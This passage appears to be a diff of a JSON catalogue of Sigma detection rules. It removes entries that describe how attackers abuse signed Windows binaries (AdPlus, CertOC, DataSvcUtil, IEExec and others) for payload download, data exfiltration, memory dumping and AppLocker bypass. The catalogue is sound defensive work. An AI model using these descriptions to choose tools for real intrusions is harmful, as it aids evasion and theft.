"windows", - "refs": [ - "https://attack.mitre.org/techniques/T1037/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_logon_scripts_userinitmprlogonscript_proc.yml" - ], - "tags": [ - "attack.t1037.001", - "attack.persistence" - ] - }, - "uuid": "0a98a10c-685d-4ab0-bddc-b6bdd1d48458", - "value": "Logon Scripts (UserInitMprLogonScript)" - }, - { - "description": "This rule will monitor any office apps that spins up a new LOLBin process. This activity is pretty suspicious and should be investigated.", - "meta": { - "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Michael Haag, Christopher Peacock @securepeacock (Update), SCYTHE @scythe_io (Update)", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbins_by_office_applications.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/splunk/security_content/blob/develop/detections/endpoint/office_spawning_control.yml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbins_by_office_applications.yml", - "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set", - "https://twitter.com/andythevariable/status/1576953781581144064?s=20&t=QiJILvK4ZiBdR8RJe24u-A", - "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e", - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", - "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml" - ], - "tags": [ - "attack.t1204.002", - "attack.t1047", - "attack.t1218.010", - "attack.execution", - "attack.defense_evasion" - ] - }, - "uuid": "23daeb52-e6eb-493c-8607-c4f0246cb7d8", - "value": "New Lolbin Process by Office Applications" - }, - { - "description": "This rule will monitor LOLBin process creations by wmiprvse. Add more LOLBins to rule logic if needed.", - "meta": { - "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbins_with_wmiprvse_parent_process.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbins_with_wmiprvse_parent_process.yml", - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", - "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml" - ], - "tags": [ - "attack.t1204.002", - "attack.t1047", - "attack.t1218.010", - "attack.execution", - "attack.defense_evasion" - ] - }, - "uuid": "8a582fe2-0882-4b89-a82a-da6b2dc32937", - "value": "Lolbins Process Creation with WmiPrvse" - }, - { - "description": "The \"AdPlus.exe\" binary that is part of the Windows SDK can be used as a lolbin to dump process memory and execute arbitrary commands", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/09", - "falsepositive": [ - "Legitimate usage of Adplus" - ], - "filename": "proc_creation_win_lolbin_adplus.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/nas_bench/status/1534916659676422152", - "https://twitter.com/nas_bench/status/1534915321856917506", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Adplus/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_adplus.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1003.001" - ] - }, - "uuid": "2f869d59-7f6a-4931-992c-cce556ff2d53", - "value": "Use of Adplus.exe" - }, - { - "description": "Execute C# code with the Build Provider and proper folder structure in place.", - "meta": { - "author": "frack113", - "creation_date": "2021/11/24", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_aspnet_compiler.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_aspnet_compiler.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1127" - ] - }, - "uuid": "a01b8329-5953-4f73-ae2d-aa01e1f35f00", - "value": "Suspicious aspnet_compiler.exe Execution" - }, - { - "description": "Performs execution of specified file, can be used for defensive evasion.", - "meta": { - "author": "frack113", - "creation_date": "2021/11/24", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_bash.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Bash/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ] - }, - "uuid": "5edc2273-c26f-406c-83f3-f4d948e740dd", - "value": "Suspicious Subsystem for Linux Bash Execution" - }, - { - "description": "Detects when a user downloads file by using CertOC.exe", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/05/16", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_certoc_download.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Certoc/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_certoc_download.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "70ad0861-d1fe-491c-a45f-fa48148a300d", - "value": "Suspicious File Download via CertOC.exe" - }, - { - "description": "Detects the execution of Xwizard tool with specific arguments which utilized to run custom class properties.", - "meta": { - "author": "Ensar Şamil, @sblmsrsn, @oscd_initiative", - "creation_date": "2020/10/07", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_class_exec_xwizard.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Xwizard/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_class_exec_xwizard.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "53d4bb30-3f36-4e8a-b078-69d36c4a79ff", - "value": "Custom Class Execution via Xwizard" - }, - { - "description": "Detects Execution via SyncInvoke in CL_Invocation.ps1 module", - "meta": { - "author": "oscd.community, Natalia Shornikova", - "creation_date": "2020/10/14", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_cl_invocation.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_invocation.yml", - "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", - "https://twitter.com/bohops/status/948061991012327424" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ] - }, - "uuid": "a0459f02-ac51-4c09-b511-b8c9203fc429", - "value": "Execution via CL_Invocation.ps1" - }, - { - "description": "Detects the use of a Microsoft signed script to execute commands and bypassing AppLocker.", - "meta": { - "author": "frack113", - "creation_date": "2022/05/21", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_cl_loadassembly.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_loadassembly.yml", - "https://lolbas-project.github.io/lolbas/Scripts/CL_LoadAssembly/", - "https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ] - }, - "uuid": "c57872c7-614f-4d7f-a40d-b78c8df2d30d", - "value": "CL_LoadAssembly.ps1 Proxy Execution" - }, - { - "description": "Detects the use of a Microsoft signed script to execute commands", - "meta": { - "author": "oscd.community, Natalia Shornikova, frack113", - "creation_date": "2022/05/21", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_cl_mutexverifiers.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_mutexverifiers.yml", - "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ] - }, - "uuid": "1e0e1a81-e79b-44bc-935b-ddb9c8006b3d", - "value": "CL_Mutexverifiers.ps1 Proxy Execution" - }, - { - "description": "lolbas Cmdl32 is use to download a payload to evade antivirus", - "meta": { - "author": "frack113", - "creation_date": "2021/11/03", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_cmdl32.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Cmdl32/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cmdl32.yml", - "https://twitter.com/SwiftOnSecurity/status/1455897435063074824" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1218", - "attack.t1202" - ] - }, - "uuid": "f37aba28-a9e6-4045-882c-d5004043b337", - "value": "Suspicious Cmdl32 Execution" - }, - { - "description": "Upload file, credentials or data exfiltration with Binary part of Windows Defender", - "meta": { - "author": "frack113", - "creation_date": "2021/11/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_configsecuritypolicy.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/ConfigSecurityPolicy/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_configsecuritypolicy.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1567" - ] - }, - "uuid": "1f0f6176-6482-4027-b151-00071af39d7e", - "value": "Suspicious ConfigSecurityPolicy Execution" - }, - { - "description": "Adversaries can abuse of C:\\Windows\\System32\\gatherNetworkInfo.vbs script along with cscript.exe to gather information about the target", - "meta": { - "author": "blueteamer8699", - "creation_date": "2022/01/03", - "falsepositive": [ - "Administrative activity" - ], - "filename": "proc_creation_win_lolbin_cscript_gathernetworkinfo.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://posts.slayerlabs.com/living-off-the-land/#gathernetworkinfovbs", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cscript_gathernetworkinfo.yml" - ], - "tags": [ - "attack.discovery", - "attack.execution", - "attack.t1615", - "attack.t1059.005" - ] - }, - "uuid": "575dce0c-8139-4e30-9295-1ee75969f7fe", - "value": "GatherNetworkInfo.vbs Script Usage" - }, - { - "description": "Detects the execution of CustomShellHost binary where the child isn't located in 'C:\\Windows\\explorer.exe'", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/19", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_customshellhost.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/pull/180", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_customshellhost.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ] - }, - "uuid": "84b14121-9d14-416e-800b-f3b829c5a14d", - "value": "Suspicious CustomShellHost Execution" - }, - { - "description": "Detects when a user performs data exfiltration by using DataSvcUtil.exe", - "meta": { - "author": "Ialle Teixeira @teixeira0xfffff, Austin Songer @austinsonger", - "creation_date": "2021/09/30", - "falsepositive": [ - "DataSvcUtil.exe being used may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "DataSvcUtil.exe being executed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services", - "https://lolbas-project.github.io/lolbas/Binaries/DataSvcUtil/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml", - "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe", - "https://gist.github.com/teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6", - "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services" - ], - "tags": [ - "attack.exfiltration", - "attack.t1567" - ] - }, - "uuid": "e290b10b-1023-4452-a4a9-eb31a9013b3a", - "value": "LOLBAS Data Exfiltration by DataSvcUtil.exe" - }, - { - "description": "Detects the execution of DeviceCredentialDeployment to hide a process from view", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/19", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_lolbin_device_credential_deployment.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_device_credential_deployment.yml", - "https://github.com/LOLBAS-Project/LOLBAS/pull/147" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "b8b1b304-a60f-4999-9a6e-c547bde03ffd", - "value": "DeviceCredentialDeployment Execution" - }, - { - "description": "Compress target file into a cab file stored in the Alternate Data Stream (ADS) of the target file.", - "meta": { - "author": "frack113", - "creation_date": "2021/11/26", - "falsepositive": [ - "Very Possible" - ], - "filename": "proc_creation_win_lolbin_diantz_ads.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Diantz/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_diantz_ads.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004" - ] - }, - "uuid": "6b369ced-4b1d-48f1-b427-fdc0de0790bd", - "value": "Suspicious Diantz Alternate Data Stream Execution" - }, - { - "description": "Download and compress a remote file and store it in a cab file on local machine.", - "meta": { - "author": "frack113", - "creation_date": "2021/11/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_diantz_remote_cab.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Diantz/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_diantz_remote_cab.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "185d7418-f250-42d0-b72e-0c8b70661e93", - "value": "Suspicious Diantz Download and Compress Into a CAB File" - }, - { - "description": "Detects the execution of Xwizard tool from the non-default directory which can be used to sideload a custom xwizards.dll", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/09/20", - "falsepositive": [ - "Windows installed on non-C drive" - ], - "filename": "proc_creation_win_lolbin_dll_sideload_xwizard.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Xwizard/", - "http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dll_sideload_xwizard.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ] - }, - "uuid": "193d5ccd-6f59-40c6-b5b0-8e32d5ddd3d1", - "value": "Xwizard DLL Sideloading" - }, - { - "description": "Detects when a user bypasses Defender by renaming a tool to dump64.exe and placing it in a Visual Studio folder", - "meta": { - "author": "Austin Songer @austinsonger, Florian Roth", - "creation_date": "2021/11/26", - "falsepositive": [ - "Dump64.exe in other folders than the excluded one" - ], - "filename": "proc_creation_win_lolbin_dump64.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/mrd0x/status/1460597833917251595", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dump64.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "129966c9-de17-4334-a123-8b58172e664d", - "value": "Suspicious Dump64.exe Execution" - }, - { - "description": "Adversaries can abuse winget to download payloads remotely and execute them without touching disk. Winget will be included by default in Windows 10 and is already available in Windows 10 insider programs. The manifest option enables you to install an application by passing in a YAML file directly to the client. Winget can be used to download and install exe's, msi, msix files later.", - "meta": { - "author": "Sreeman, Florian Roth, Frack113", - "creation_date": "2020/04/21", - "falsepositive": [ - "Admin activity installing packages not in the official Microsoft repo. Winget probably won't be used by most users." - ], - "filename": "proc_creation_win_lolbin_execution_via_winget.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/windows/package-manager/winget/install#local-install", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_execution_via_winget.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "313d6012-51a0-4d93-8dfc-de8553239e25", - "value": "Monitoring Winget For LOLbin Execution" - }, - { - "description": "Extexport.exe loads dll and is execute from other folder the original path", - "meta": { - "author": "frack113", - "creation_date": "2021/11/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_extexport.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Extexport/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extexport.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "fb0b815b-f5f6-4f50-970f-ffe21f253f7a", - "value": "Suspicious Extexport Execution" - }, - { - "description": "Download or Copy file with Extrac32", - "meta": { - "author": "frack113", - "creation_date": "2021/11/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_extrac32.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Extrac32/" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "aa8e035d-7be4-48d3-a944-102aec04400d", - "value": "Suspicious Extrac32 Execution" - }, - { - "description": "Extract data from cab file and hide it in an alternate data stream", - "meta": { - "author": "frack113", - "creation_date": "2021/11/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_extrac32_ads.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Extrac32/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004" - ] - }, - "uuid": "4b13db67-0c45-40f1-aba8-66a1a7198a1e", - "value": "Suspicious Extrac32 Alternate Data Stream Execution" - }, - { - "description": "Attackers can use findstr to hide their artifacts or search specific strings and evade defense mechanism", - "meta": { - "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative, Nasreddine Bencherchali", - "creation_date": "2020/10/05", - "falsepositive": [ - "Administrative findstr usage" - ], - "filename": "proc_creation_win_lolbin_findstr.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_findstr.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Findstr/", - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218", - "attack.t1564.004", - "attack.t1552.001", - "attack.t1105" - ] - }, - "uuid": "bf6c39fc-e203-45b9-9538-05397c1b4f3f", - "value": "Abusing Findstr for Defense Evasion" - }, - { - "description": "Execute commands and binaries from the context of \"forfiles\". This is used as a LOLBIN for example to bypass application whitelisting.", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/14", - "falsepositive": [ - "Legitimate use by a via a batch script or by an administrator." - ], - "filename": "proc_creation_win_lolbin_forfiles.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://pentestlab.blog/2020/07/06/indirect-command-execution/", - "https://lolbas-project.github.io/lolbas/Binaries/Forfiles/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_forfiles.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "9aa5106d-bce3-4b13-86df-3a20f1d5cf0b", - "value": "Use of Forfiles For Execution" - }, - { - "description": "The FSharp Interpreters, FsiAnyCpu.exe and FSi.exe, can be used for AWL bypass and is listed in Microsoft recommended block rules.", - "meta": { - "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", - "creation_date": "2022/06/02", - "falsepositive": [ - "Legitimate use by a software developer." - ], - "filename": "proc_creation_win_lolbin_fsharp_interpreters.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Fsi/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_fsharp_interpreters.yml", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/FsiAnyCpu/", - "https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "b96b2031-7c17-4473-afe7-a30ce714db29", - "value": "Use of FSharp Interpreters" - }, - { - "description": "Detects execution of ftp.exe script execution with the \"-s\" flag and any child processes ran by ftp.exe", - "meta": { - "author": "Victor Sergeev, oscd.community", - "creation_date": "2020/10/09", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_ftp.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ftp.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Ftp/" - ], - "tags": [ - "attack.execution", - "attack.t1059", - "attack.defense_evasion", - "attack.t1202" - ] - }, - "uuid": "06b401f4-107c-4ff9-947f-9ec1e7649f1e", - "value": "LOLBIN Execution Of The FTP.EXE Binary" - }, - { - "description": "Detects the execution of the LOLBIN gpscript, which executes logon or startup scripts configured in Group Policy", - "meta": { - "author": "frack113", - "creation_date": "2022/05/16", - "falsepositive": [ - "Legitimate uses of logon scripts distributed via group policy" - ], - "filename": "proc_creation_win_lolbin_gpscript.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_gpscript.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Gpscript/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "1e59c230-6670-45bf-83b0-98903780607e", - "value": "Gpscript Execution" - }, - { - "description": "Detect use of ie4uinit.exe to execute commands from a specially prepared ie4uinit.inf file from a directory other than the usual directories", - "meta": { - "author": "frack113", - "creation_date": "2022/05/07", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_ie4uinit.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ie4uinit.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/", - "https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "d3bf399f-b0cf-4250-8bb4-dfc192ab81dc", - "value": "Ie4uinit Lolbin Use From Invalid Path" - }, - { - "description": "Detects execution of the IEExec utility to download payloads", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/05/16", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_ieexec_download.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Ieexec/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ieexec_download.yml" - ], - "tags": "No established tags" - }, - "uuid": "9801abb8-e297-4dbf-9fbd-57dde0e830ad", - "value": "Abusing IEExec To Download Payloads" - }, - { - "description": "Detect use of Ilasm.exe to compile c# code into dll or exe.", - "meta": { - "author": "frack113", - "creation_date": "2022/05/07", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_ilasm.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Ilasm/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ilasm.yml", - "https://www.echotrail.io/insights/search/ilasm.exe" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1127" - ] - }, - "uuid": "850d55f9-6eeb-4492-ad69-a72338f65ba4", - "value": "Ilasm Lolbin Use Compile C-Sharp" - }, - { - "description": "Detects the use the .NET InstallUtil.exe application in order to download arbitrary files. The files will be written to %LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/19", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_installutil_download.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_installutil_download.yml", - "https://github.com/LOLBAS-Project/LOLBAS/pull/239" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "75edd216-1939-4c73-8d61-7f3a0d85b5cc", - "value": "Suspicious Execution of InstallUtil To Download" - }, - { - "description": "Detects the execution of the LOLBIN jsc.exe used by .NET to compile javascript code to .exe or .dll format", - "meta": { - "author": "frack113", - "creation_date": "2022/05/02", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_jsc.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_jsc.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Jsc/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1127" - ] - }, - "uuid": "52788a70-f1da-40dd-8fbd-73b5865d6568", - "value": "JSC Convert Javascript To Executable" - }, - { - "description": "Detects the execution of a signed binary dropped by Kaspersky Lab Products Remover (kavremover) which can be abused as a LOLBIN to execute arbitrary commands and binaries.", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/11/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_kavremover.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_kavremover.yml", - "https://nasbench.medium.com/lolbined-using-kaspersky-endpoint-security-kes-installer-to-execute-arbitrary-commands-1c999f1b7fea" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1127" - ] - }, - "uuid": "d047726b-c71c-4048-a99b-2e2f50dc107d", - "value": "Kavremover Dropped Binary LOLBIN Usage" - }, - { - "description": "Detects the use of the 'Launch-VsDevShell.ps1' Microsoft signed script to execute commands.", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/19", - "falsepositive": [ - "Legitimate usage of the script by a developer" - ], - "filename": "proc_creation_win_lolbin_launch_vsdevshell.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_launch_vsdevshell.yml", - "https://twitter.com/nas_bench/status/1535981653239255040" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216.001" - ] - }, - "uuid": "45d3a03d-f441-458c-8883-df101a3bb146", - "value": "Launch-VsDevShell.PS1 Proxy Execution" - }, - { - "description": "The \"Trace log generation tool for Media Foundation Tools\" (Mftrace.exe) can be used to execute 